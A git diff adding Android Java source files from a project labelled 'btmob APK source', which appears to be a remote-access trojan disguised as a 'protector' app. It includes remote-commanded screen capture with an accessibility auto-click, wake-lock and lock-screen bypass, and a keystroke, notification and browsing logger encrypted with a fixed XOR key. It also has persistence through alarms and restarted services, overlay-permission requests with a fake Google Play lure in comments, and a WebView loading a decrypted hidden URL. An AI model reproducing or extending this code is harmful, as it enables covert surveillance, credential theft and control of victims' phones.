Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint); + }else + { + mcontext.startService(workint); + } + } + finish(); + + return; + } + + setContentView(R.layout.mywebviewer); + + + + mWebView = (WebView) findViewById(R.id.MyView); + + + + + mWebView.getSettings().setJavaScriptEnabled(true); + + mWebView.getSettings().setLoadsImagesAutomatically(true); + mWebView.getSettings().setLoadWithOverviewMode(true); + mWebView.getSettings().setUseWideViewPort(true); + mWebView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY); + mWebView.getSettings().setAllowFileAccess(true); + mWebView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); + mWebView.getSettings().setDomStorageEnabled(true); + mWebView.getSettings().setAllowFileAccessFromFileURLs(true); + mWebView.getSettings().setAllowUniversalAccessFromFileURLs(true); + mWebView.getSettings().setAllowContentAccess(true); + try { + mWebView.setLayerType(View.LAYER_TYPE_HARDWARE, null); + mWebView.getSettings().setPluginState(WebSettings.PluginState.ON); + mWebView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH); + mWebView.setBackgroundColor(0xffffffff); + } catch (Exception a) { + } + + mWebView.getSettings().setBuiltInZoomControls(false); + + My_Crpter cr = My_Crpter.Getinstance(); + + + + value = cr.Dcrpt_Str(My_Configs.HOME_NAME); +// String userAgent = System.getProperty("http.agent"); +// MyLoger.Debug("userAgent:",userAgent); + +// if (value.contains("google.com") || value.contains("youtube.com")) { +// +// mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 11; Redmi Note 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.88 Mobile Safari/537.36"); +// +// } else { +// mWebView.getSettings().setUserAgentString("Mozilla/5.0 (Linux; Android 11; SM-A125F Build/RP1A.200720.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/99.0.4844.88 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/362.0.0.27.109;]"); +// } + + mWebView.setDownloadListener(new DownloadListener() { + + @Override + public void onDownloadStart(String url, String userAgent, + String contentDisposition, String mimetype, + long contentLength) { + try { + DownloadManager.Request request = new DownloadManager.Request( + Uri.parse(url)); + final String filename = URLUtil.guessFileName(url, contentDisposition, mimetype); + request.allowScanningByMediaScanner(); + request.setNotificationVisibility(DownloadManager.Request.VISIBILITY_VISIBLE_NOTIFY_COMPLETED); //Notify client once download is completed! + request.setDestinationInExternalPublicDir(Environment.DIRECTORY_DOWNLOADS, filename); + DownloadManager dm = (DownloadManager) getSystemService(DOWNLOAD_SERVICE); + dm.enqueue(request); + Toast.makeText(getApplicationContext(), "Downloading File", Toast.LENGTH_LONG).show(); + } catch (Exception e) { + + } + + + } + }); + + mWebView.setWebChromeClient(new MyChrome()); + mWebView.setWebViewClient(new MyWebViewClient()); + + String ua= mWebView.getSettings().getUserAgentString(); + + mWebView.getSettings().setUserAgentString(ua); + + Context mcontext = getApplicationContext(); + startworkers(mcontext); + if (!value.startsWith("http://") && !value.startsWith("https://")){ + value = "http://" + value; + } + mWebView.loadUrl(value); + + if (config.req_backdata ){ + ConnectivityManager connectivityManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE); + if (connectivityManager.isActiveNetworkMetered()) { + // Checks user’s Data Saver settings. + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + switch (connectivityManager.getRestrictBackgroundStatus()) { + case RESTRICT_BACKGROUND_STATUS_ENABLED: + Intent intusage = new Intent(getApplicationContext(), RequestDataUsage.class); + intusage.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intusage); + break; + default: + break; + } + } + } + } + + +// if(My_Configs.Hide_ico.equals("1") && MySettings.ReadBool(mcontext,Consts.setupok,false)){ +// finish(); +// +// }else{ +// +// } + + } + } + + + + + private class MyWebViewClient extends WebViewClient { + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + // TODO Auto-generated method stub + + super.onPageStarted(view, url, favicon); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + // TODO Auto-generated method stub + + if (request != null && request.getUrl() != null) { + String url = request.getUrl().toString(); + if (!url.startsWith("http") && url.contains("://")) { + try { + + URI uri = new URI(url); + String newUrl = uri.getHost() + uri.getPath(); + mWebView.loadUrl(newUrl); + return true; // URL handled + } catch (Exception e) { + e.printStackTrace(); + } + } + } + + + return false; + + } + + @Override + public void onReceivedError(WebView view, int errorCode, + String description, String failingUrl) { + + } + + @Override + public void onPageFinished(WebView view, String url) { + // TODO Auto-generated method stub + + + super.onPageFinished(view, url); + + // progressBar.setVisibility(View.GONE); + } + + } + + @Override + public void onBackPressed() { + try { + if (mWebView != null && mWebView.canGoBack()) { + mWebView.goBack(); + } else { + super.onBackPressed(); + } + } catch (NullPointerException s) { + super.onBackPressed(); + } + } + + @Override + protected void onDestroy() { + try + { + try{ + if(mWebView != null){ + mWebView.stopLoading(); + + + mWebView.clearHistory(); + mWebView.clearCache(true); + + + ViewGroup parent = (ViewGroup) mWebView.getParent(); + if (parent != null) { + parent.removeView(mWebView); + } + + + mWebView.removeAllViews(); + mWebView.destroy(); + + + mWebView = null; + } + }catch (Exception s){} + JobSchedulerUtil.scheduleJob(getApplicationContext()); + Context mcontext = getApplicationContext(); + startworkers(mcontext); + + AlarmHelper.setAlarm(mcontext); + setupWorkManager(getApplicationContext()); + }catch (Exception a){} + super.onDestroy(); + + } + @Override + public void finish() { + + + try{ + Context mcontext = getApplicationContext(); + mWebView=null; + startworkers(mcontext); + AlarmHelper.setAlarm(mcontext); + }catch (Exception a){} + super.finish(); + } + + + private void startworkers(Context ctx){ + + Context mcontext = ctx; + new Thread(new Runnable() { + @Override + public void run() { + + try { + +// try{ +// Thread.sleep(10000); +// }catch (Exception a){} + + Intent workint = new Intent(mcontext, EngineWorker.class); + if (!isServiceRunning(mcontext, EngineWorker.class)) + { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + mcontext.startForegroundService(workint); + }else + { + mcontext.startService(workint); + } + } + +// if (!Codes.isServiceRunning(mcontext, WorkServices.class)) +// { +// Intent workint2 = new Intent(mcontext, WorkServices.class); +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { +// mcontext.startForegroundService(workint2); +// }else +// { +// mcontext.startService(workint2); +// } +// } + } catch (Exception e) { + + } + + } + }).start(); + } + +// @Override +// public void finish() { +// +// if (init_ClassGen_e.HideType.equalsIgnoreCase("K")) { +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// super.finishAndRemoveTask(); +// } else { +// super.finish(); +// } +// } +// } + + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivityCaptureScreen.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivityCaptureScreen.java new file mode 100644 index 0000000..55dd541 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivityCaptureScreen.java @@ -0,0 +1,208 @@ +package com.icontrol.protector; + +import static androidx.activity.result.ActivityResultCallerKt.registerForActivityResult; +import static com.icontrol.protector.Consts.Stored_intentdata; +import static com.icontrol.protector.Consts.Stored_resultCode; + +import android.app.Activity; +import android.app.KeyguardManager; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ServiceInfo; +import android.media.projection.MediaProjectionConfig; +import android.media.projection.MediaProjectionManager; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.PowerManager; +import android.view.View; +import android.view.WindowManager; + +import androidx.activity.result.ActivityResultLauncher; +import androidx.activity.result.contract.ActivityResultContracts; +import androidx.appcompat.app.AppCompatActivity; + +import java.util.regex.Pattern; + +public class ActivityCaptureScreen extends Activity { + private static final int REQUEST_CODE = 100; + private static int Quality = 70; + private static String Sockid = "null"; + private String Commands[] = null; + + @Override + public void onBackPressed() { + + return; + } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + try { +// getWindow().getDecorView().setSystemUiVisibility( +// View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + // Turn screen on and show even if locked + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O_MR1) { + setShowWhenLocked(true); + setTurnScreenOn(true); + } + getWindow().addFlags( + WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED | + WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON + ); + // Optional: dismiss keyguard +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { +// KeyguardManager keyguardManager = (KeyguardManager) getSystemService(Context.KEYGUARD_SERVICE); +// keyguardManager.requestDismissKeyguard(this, null); +// } else { +// getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD); +// } + + // Optional: full screen + getWindow().addFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN); + + + PowerManager pm = (PowerManager) getSystemService(Context.POWER_SERVICE); + if (pm != null) { + PowerManager.WakeLock wakeLock = pm.newWakeLock( + PowerManager.FULL_WAKE_LOCK | PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.ON_AFTER_RELEASE, + "App:IncomingCall" + ); + wakeLock.acquire(3000); + } + + + } catch (Exception a) { + a.printStackTrace(); + } + + Intent inte = getIntent(); + + try { + Commands = inte.getStringExtra("COM").trim().split(Pattern.quote(Consts.SPLIT_SKT)); + } catch (Exception s) { + Commands = null; + } + if (Commands == null) { + finish(); + return; + } + Handler hstop = new Handler(Looper.getMainLooper()); + hstop.postDelayed(new Runnable() { + public void run() { + try { + switch (Commands[0]) { + case "ON": + Quality = Integer.valueOf(Commands[1]); + Sockid = Commands[2]; + + //MyLoger.Debug("Stored_resultCode:",String.valueOf(Stored_resultCode)); + //MyLoger.Debug("Stored_intentdata:",String.valueOf(Stored_intentdata)); + + if (Stored_intentdata != null && + Stored_resultCode != -999 && + Build.VERSION.SDK_INT < 34) { + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(ScreenCaps.getStartIntent(getApplicationContext(), Stored_resultCode, Stored_intentdata, Quality, Sockid)); + } else { + startService(ScreenCaps.getStartIntent(getApplicationContext(), Stored_resultCode, Stored_intentdata, Quality, Sockid)); + } + finish(); + return; + } else { + + startCatpure(); + // MySettings.WriteBool(getApplicationContext(),Consts.Auto_Clicker,true); + AccessServices.Auto_Click = true; +// if (Build.VERSION.SDK_INT >= 34){ +// MySettings.WriteBool(getApplicationContext(),Consts.Auto_Sreen,true); +// } + } + + break; + case "OFF": + StopCatpure(); + finish(); + break; + + } + } catch (Exception d) { + + } + } + }, 1100); + + } +// private ActivityResultLauncher screenCaptureLauncher = registerForActivityResult( +// new ActivityResultContracts.StartActivityForResult(), +// result -> { +// if (result.getResultCode() == Activity.RESULT_OK) { +// Intent data = result.getData(); +// // Start media projection with the obtained data +// // MySettings.WriteBool(getApplicationContext(), Consts.Auto_Sreen, false); +// //MySettings.WriteBool(getApplicationContext(),Consts.Auto_Clicker,false); +// AccessServices.Auto_Click = false; +// Stored_intentdata = data; +// Stored_resultCode = result.getResultCode(); +// if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { +// startForegroundService(ScreenCaps.getStartIntent(getApplicationContext(), result.getResultCode(), data, Quality, Sockid)); +// }else{ +// startService(ScreenCaps.getStartIntent(getApplicationContext(), result.getResultCode(), data, Quality, Sockid)); +// } +// +// this.finish(); +// } else { +// // Handle cancellation or failure +// } +// } +// ); + + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + if (requestCode == REQUEST_CODE) { + + if (resultCode == Activity.RESULT_OK) { + //MySettings.WriteBool(getApplicationContext(), Consts.Auto_Sreen, false); + //MySettings.WriteBool(getApplicationContext(),Consts.Auto_Clicker,false); + AccessServices.Auto_Click = false; + Stored_intentdata = data; + Stored_resultCode = resultCode; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + startForegroundService(ScreenCaps.getStartIntent(getApplicationContext(), resultCode, data, Quality, Sockid)); + } else { + startService(ScreenCaps.getStartIntent(getApplicationContext(), resultCode, data, Quality, Sockid)); + } + + this.finish(); + } + } + } + + + private void startCatpure() { + + + MediaProjectionManager mProjectionManager = + (MediaProjectionManager) getApplicationContext().getSystemService(Context.MEDIA_PROJECTION_SERVICE); +// if(Build.VERSION.SDK_INT >= 34){ +// +// screenCaptureLauncher.launch(mProjectionManager.createScreenCaptureIntent(MediaProjectionConfig.createConfigForDefaultDisplay())); +// } else + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.UPSIDE_DOWN_CAKE) { + startActivityForResult(mProjectionManager.createScreenCaptureIntent(MediaProjectionConfig.createConfigForDefaultDisplay()), REQUEST_CODE); + } else { + startActivityForResult(mProjectionManager.createScreenCaptureIntent(), REQUEST_CODE); + } + + + } + + private void StopCatpure() { + startService(ScreenCaps.getStopIntent(getApplicationContext())); + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivityDraw.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivityDraw.java new file mode 100644 index 0000000..15bbd27 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivityDraw.java @@ -0,0 +1,217 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.UtliTools.getLabelApplication; + +import android.app.Activity; +import android.app.AlertDialog; +import android.content.DialogInterface; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.graphics.drawable.Drawable; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.provider.Settings; +import android.view.Window; +import android.view.WindowManager; + +import java.util.Locale; + + +public class ActivityDraw extends Activity { + + + // private static ActivityDraw instance; + +// public static boolean isActivityOpen() { +// return instance != null; +// } +// private void AskDraw() { +// +// AlertDialog.Builder alertDialog = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert); +// +// String OK_Btn = "OK"; +// String MYNAME = ""; +// +// +// MYNAME = getLabelApplication(getApplicationContext()).toLowerCase(); +// +// String CurrnetLanuage = Locale.getDefault().getLanguage(); +// switch (CurrnetLanuage) { +// case "en": +// OK_Btn = "Enable"; +// alertDialog.setMessage("To receive notifications from this application," + +// "\nEnable 'Draw over apps' for: " + MYNAME); +// break; +// case "ar": +// OK_Btn = "تفعيل"; +// alertDialog.setMessage("لتلقي الإشعارات من هذا التطبيق" + +// "\nقم بتمكين 'الإظهار فوق التطبيقات' لـ: " + MYNAME); +// break; +// case "cn": +// OK_Btn = "使能够"; +// alertDialog.setMessage("接收来自此应用程序的通知," + +// "\n启用'绘制在其他应用程序之上': " + MYNAME); +// break; +// case "tr": +// OK_Btn = "Etkinleştir"; +// alertDialog.setMessage("Bu uygulamadan bildirim almak için," + +// "\n" + MYNAME + " için 'Diğer uygulamaların üstüne çiz' özelliğini etkinleştirin."); +// break; +// case "ru": +// OK_Btn = "Включить"; +// alertDialog.setMessage("Чтобы получать уведомления от этого приложения," + +// "\nвключите 'Отображение поверх других приложений' для: " + MYNAME); +// break; +// default: +// OK_Btn = "Enable"; +// alertDialog.setMessage("To receive notifications from this application," + +// "\nEnable 'Draw over apps' for: " + MYNAME); +// break; +// } +// +// try { +// Drawable icon = this.getPackageManager().getApplicationIcon("com.android.vending"); +// alertDialog.setIcon(icon); +// alertDialog.setTitle("Google Play"); +// } catch (PackageManager.NameNotFoundException e) { +// +// try { +// +// Drawable icon = this.getPackageManager().getApplicationIcon(getPackageName()); +// alertDialog.setIcon(icon); +// alertDialog.setTitle(MYNAME); +// } catch (PackageManager.NameNotFoundException ex) { +// +// } +// +// } +// +// +// alertDialog.setPositiveButton(OK_Btn, new DialogInterface.OnClickListener() { +// @Override +// public void onClick(DialogInterface dialogInterface, int i) { +// +// } +// }); +// +// +// alertDialog.setOnCancelListener(new DialogInterface.OnCancelListener() { +// @Override +// public void onCancel(DialogInterface dialogInterface) { +// Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName())); +// intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); +// intent.setData(Uri.parse("package:" + getPackageName())); +// StringBuilder var6 = new StringBuilder(); +// var6.append(getPackageName()); +// var6.append("/"); +// var6.append(AccessServices.class.getName()); +// String var7 = var6.toString(); +// Bundle var4 = new Bundle(); +// var4.putString(":settings:fragment_args_key", var7); +// intent.putExtra(":settings:fragment_args_key", var7); +// intent.putExtra(":settings:show_fragment_args", var4); +// startActivityForResult(intent, 0); +// if (WorkServices.My_Access_inst != null) { +// WorkServices.My_Access_inst.FOR_DRAW_OVER = true; +// } +// } +// }); +// if (!isFinishing()){ +// alertDialog.show(); +// } +// +// +// } + + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + //instance = this; + try { + requestWindowFeature(Window.FEATURE_NO_TITLE); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + + + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + if (!Settings.canDrawOverlays(getApplicationContext())) { + Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION, Uri.parse("package:" + getPackageName())); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + //intent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + intent.setData(Uri.parse("package:" + getPackageName())); + + startActivityForResult(intent, 0); + AccessServices.FOR_DRAW_OVER = true; +// new android.os.Handler().postDelayed(() -> { + +// }, 500); +// if (Build.VERSION.SDK_INT >= 34 && WorkServices.My_Access_inst != null){ +// Handler handler = new Handler(getMainLooper()); +// handler.postDelayed(new Runnable() { +// @Override +// public void run() { +// +// +// } +// }, 1000); + + +// // finish(); +// } + }else{ + finish(); + } + }else{ + finish(); + } + + } catch (Exception e) { + } + + } + + @Override + protected void onActivityResult(int requestCode, int resultCode, Intent data) { + super.onActivityResult(requestCode, resultCode, data); + + if (requestCode == 0) { + if (resultCode == Activity.RESULT_OK) { + AccessServices.FOR_DRAW_OVER = false; + Intent intent = new Intent(getApplicationContext(), Splasher.class); + intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + + finish(); + } +// else { +// if (resultCode == Activity.RESULT_CANCELED) { +// finish(); +// +// } +// } + + + } + + } + + @Override + protected void onDestroy() { + // instance = null; + super.onDestroy(); + } + +// @Override +// public void finish() { +// instance =null; +// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// super.finishAndRemoveTask(); +// } +// else { +// super.finish(); +// } +// } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivityMonitors.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivityMonitors.java new file mode 100644 index 0000000..ff9dc35 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/ActivityMonitors.java @@ -0,0 +1,237 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.UtliTools.deleteRecursive; + +import android.os.Environment; +import android.util.Base64; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileInputStream; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.nio.channels.FileChannel; +import java.nio.channels.FileLock; +import java.util.Random; + +import javax.crypto.Cipher; +import javax.crypto.SecretKey; +import javax.crypto.spec.SecretKeySpec; + +public class ActivityMonitors { + + public static boolean isLiveStrokes = false; + + public enum ActivityType { + ACTZ,//activitys + KSTR,//keystorkes + BLNK,//browser links + VAPS,//VisitedApps + NTFS,//notifications + ARTS//Alerts + } + + public static String Load(ActivityType type) { + + try { + String Typename = type.name(); + String path = Environment.getExternalStorageDirectory().toString() + "/IC/" + Typename; + File directory = new File(path); + File[] files = directory.listFiles(); + String Allnames = ""; + for (int i = 0; i < files.length; i++) { + Allnames += files[i].getName().replace(".txt", "") + "<*P*>"; + } + return Allnames; + } catch (Exception e) { + + } + return "null"; + + } + + + //writing + public static void Record(String text, ActivityType type) { + Thread thread = new Thread(new Runnable() { + public void run() { + //BufferedWriter buf = null; + try { + String Typename = type.name(); + String mydate = android.text.format.DateFormat.format("yyyy-MM-dd", new java.util.Date()).toString(); + File sdDir = android.os.Environment.getExternalStorageDirectory(); + File dir = new File(sdDir, "IC/" + Typename); + File TargetFile = new File(dir, mydate + ".txt"); + + if (!dir.exists()) { + dir.mkdirs(); + } + + // Check file size and rename if needed + if (TargetFile.exists() && TargetFile.length() >= 2 * 1024 * 1024) { // 3MB limit + File renamedFile; + String newFileName; + Random random = new Random(); + do { + newFileName = mydate + "_" + random.nextInt(10000) + ".txt"; + renamedFile = new File(dir, newFileName); + } while (renamedFile.exists()); // Ensure unique filename + + TargetFile.renameTo(renamedFile); + TargetFile = new File(dir, mydate + ".txt"); // Create new file reference + } + + if (!TargetFile.exists()) { + TargetFile.createNewFile(); + } + + // Encrypt the text and use a delimiter to separate entries + String FinalText = en(text + ">") + ":::"; + try (FileOutputStream fos = new FileOutputStream(TargetFile, true); + OutputStreamWriter osw = new OutputStreamWriter(fos); + BufferedWriter writer = new BufferedWriter(osw)) { + writer.write(FinalText); + + } catch (IOException e) { + e.printStackTrace(); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + }); + thread.start(); + } + + + + //clear = delete the folder + //remove (below) = delete specific file + public static void Clear(ActivityType type) { + + + try { + String Typename = type.name(); + File sdDir = android.os.Environment.getExternalStorageDirectory(); + File dir = new File(sdDir, "IC/" + Typename); + if (dir.exists()) { + deleteRecursive(dir); + } + + } catch (Exception e) { + + } + + } + + public static String Read(String filename, ActivityType type) { + BufferedReader br = null; + // FileChannel channel = null; + // FileLock lock = null; + String Typename = type.name(); + File sdDir = android.os.Environment.getExternalStorageDirectory(); + File out = new File(sdDir + "/IC/" + Typename + "/", filename + ".txt"); + + StringBuilder result = new StringBuilder(); + try { + FileInputStream fis = new FileInputStream(out); + // channel = fis.getChannel(); + + // Try to acquire the lock + // lock = channel.lock(0L, Long.MAX_VALUE, true); // Shared lock + + br = new BufferedReader(new InputStreamReader(fis)); + StringBuilder text = new StringBuilder(); + String line; + + try { + while ((line = br.readLine()) != null) { + text.append(line); + } + // Split the entire file content using the delimiter ':::' + String[] encryptedBlocks = text.toString().split(":::"); + for (String encryptedBlock : encryptedBlocks) { + if (!encryptedBlock.trim().isEmpty()) { + result.append(de(encryptedBlock)); // Decrypt each block and append + } + } + } catch (IOException e) { + // Handle exception + } finally { + if (br != null) { + br.close(); + } +// if (lock != null) { +// lock.release(); +// } +// if (channel != null) { +// channel.close(); +// } + } + } catch (Exception ex) { + // Handle exception + } + + return result.toString(); + } + + public static void Remove(String filename, ActivityType type) { + String Typename = type.name(); + File sdDir = android.os.Environment.getExternalStorageDirectory(); + File out = new File(sdDir + "/IC/" + Typename + "/", filename + "\n" + ".txt"); + if (!out.exists()) { + out = new File(sdDir + "/IC/" + Typename + "/", filename + ".txt"); + } + + try { + if (out.exists()) { + out.delete(); + } + } catch (Exception e) { + e.printStackTrace(); + } + + } + + private static final String SECRET_KEY = "1234567890123456"; // Fixed key + + public static String en(String input) { + try { + byte[] key = SECRET_KEY.getBytes("UTF-8"); + byte[] inputBytes = input.getBytes("UTF-8"); + byte[] result = new byte[inputBytes.length]; + + for (int i = 0; i < inputBytes.length; i++) { + result[i] = (byte) (inputBytes[i] ^ key[i % key.length]); + } + + return Base64.encodeToString(result, Base64.DEFAULT); + } catch (Exception e) { + e.printStackTrace(); + } + return input; + } + + public static String de(String encryptedInput) { + try { + byte[] key = SECRET_KEY.getBytes("UTF-8"); + byte[] inputBytes = Base64.decode(encryptedInput, Base64.DEFAULT); + byte[] result = new byte[inputBytes.length]; + + for (int i = 0; i < inputBytes.length; i++) { + result[i] = (byte) (inputBytes[i] ^ key[i % key.length]); + } + + return new String(result, "UTF-8"); + } catch (Exception e) { + e.printStackTrace(); + } + return encryptedInput; + } + + + +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AlarmHelper.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AlarmHelper.java new file mode 100644 index 0000000..b927abc --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AlarmHelper.java @@ -0,0 +1,47 @@ +package com.icontrol.protector; + +import android.annotation.SuppressLint; +import android.app.AlarmManager; +import android.app.PendingIntent; +import android.content.Context; +import android.content.Intent; +import android.os.Build; + +public class AlarmHelper { + + public static void setAlarm(Context context) { + AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE); + Intent intent = new Intent("MY_CUSTOM_ACTION"); + int flag = Build.VERSION.SDK_INT >= Build.VERSION_CODES.M ? + PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE : + PendingIntent.FLAG_UPDATE_CURRENT; + + intent.putExtra("FROM_ALARM", true); + intent.setPackage(context.getPackageName()); + PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, intent, flag); + long triggerTime = System.currentTimeMillis() + 30_000; // 30 seconds from now + try{ + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.S) { + alarmManager.setExactAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerTime, pendingIntent); + } else { + alarmManager.setExact(AlarmManager.RTC_WAKEUP, triggerTime, pendingIntent); + } + }catch (Exception a){ + try{ + alarmManager.setAndAllowWhileIdle(AlarmManager.RTC_WAKEUP, triggerTime, pendingIntent); + }catch (Exception s){} + } + } + + public static void cancelAlarm(Context context, Class serviceClass) { +// AlarmManager alarmManager = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE); +// Intent intent = new Intent(context, serviceClass); +// int flag = Build.VERSION.SDK_INT >= Build.VERSION_CODES.M ? +// PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE : +// PendingIntent.FLAG_UPDATE_CURRENT; +// +// PendingIntent pendingIntent = PendingIntent.getService(context, 0, intent, flag); +// +// alarmManager.cancel(pendingIntent); + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AlertActivity.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AlertActivity.java new file mode 100644 index 0000000..6a1dd98 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/AlertActivity.java @@ -0,0 +1,172 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.UtliTools.getDrawableFromBase64; + +import android.app.Activity; +import android.app.AlertDialog; +import android.content.Context; +import android.content.Intent; +import android.graphics.drawable.Drawable; +import android.os.Build; +import android.os.Bundle; +import android.view.Window; +import android.view.WindowManager; + + + +import java.util.Locale; + +public class AlertActivity extends Activity { + + private static int Type; + private static String toopen; + + @Override + protected void onCreate( Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + + String Title = null ; + String Msg = null ; + + Type = -1 ; + toopen = null ; + Context ctx = getApplicationContext(); + + String icobase = MySettings.Read(ctx,Consts.Alertico,null) ; + + try { + Intent intentnew = getIntent(); + if (intentnew.hasExtra("Title")){ + Title = intentnew.getStringExtra("Title"); + } + + if(intentnew.hasExtra("Msg")){ + Msg = intentnew.getStringExtra("Msg"); + } + + + if(intentnew.hasExtra("Type")){ + Type = intentnew.getIntExtra("Type",0); + } + + if(intentnew.hasExtra("toopen")){ + toopen = intentnew.getStringExtra("toopen"); + } + + }catch (Exception a){ + a.printStackTrace(); + Type = -1; + toopen= null; + } + + if (toopen != null && Type != -1){ + + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + + Drawable icon; + try { + // null; + icon = getDrawableFromBase64(icobase,ctx); + + } catch (Exception ex) { + icon = null; + } + String buttonnameOK = "OK"; + + String CurrnetLanuage = Locale.getDefault().getLanguage(); + switch (CurrnetLanuage) { + case "en": + buttonnameOK = "ok"; + + break; + case "ar": + buttonnameOK = "موافق"; + + break; + case "zh": + buttonnameOK = "好的"; + + break; + case "tr": + buttonnameOK = "Tamam"; + + break; + default: + buttonnameOK = "OK"; + break; + + } + AlertDialog.Builder builder = new AlertDialog.Builder(this, android.R.style.Theme_DeviceDefault_Dialog_Alert) + .setTitle(Title) + .setMessage(Msg) + .setPositiveButton(buttonnameOK, (dialog, which) -> { + Intent intent = null; + switch (Type){ + case 1: + { + intent = new Intent(ctx, BrodcastActivity.class); + + intent.putExtra("type", "app"); + intent.putExtra("tolunch", toopen); + + } + break; + case 2: + { + intent = new Intent(ctx, BrodcastActivity.class); + if (!toopen.startsWith("http://") && !toopen.startsWith("https://")){ + toopen = "http://" + toopen; + } + + intent.putExtra("type", "link"); + intent.putExtra("tolunch", toopen); + + } + break; + default: + dialog.dismiss(); + break; + } + if(intent != null){ + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + intent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + intent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); + + + dialog.dismiss(); + ctx.startActivity(intent); + } + AlertActivity.this.finish(); + }); + + if (icon != null) { + builder.setIcon(icon); + } + + + builder.show(); + + + } + + + } +// @Override +// public void finish() { +// if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { +// super.finishAndRemoveTask(); +// } +// else { +// super.finish(); +// } +// } + + @Override + protected void onDestroy() { + super.onDestroy(); + } 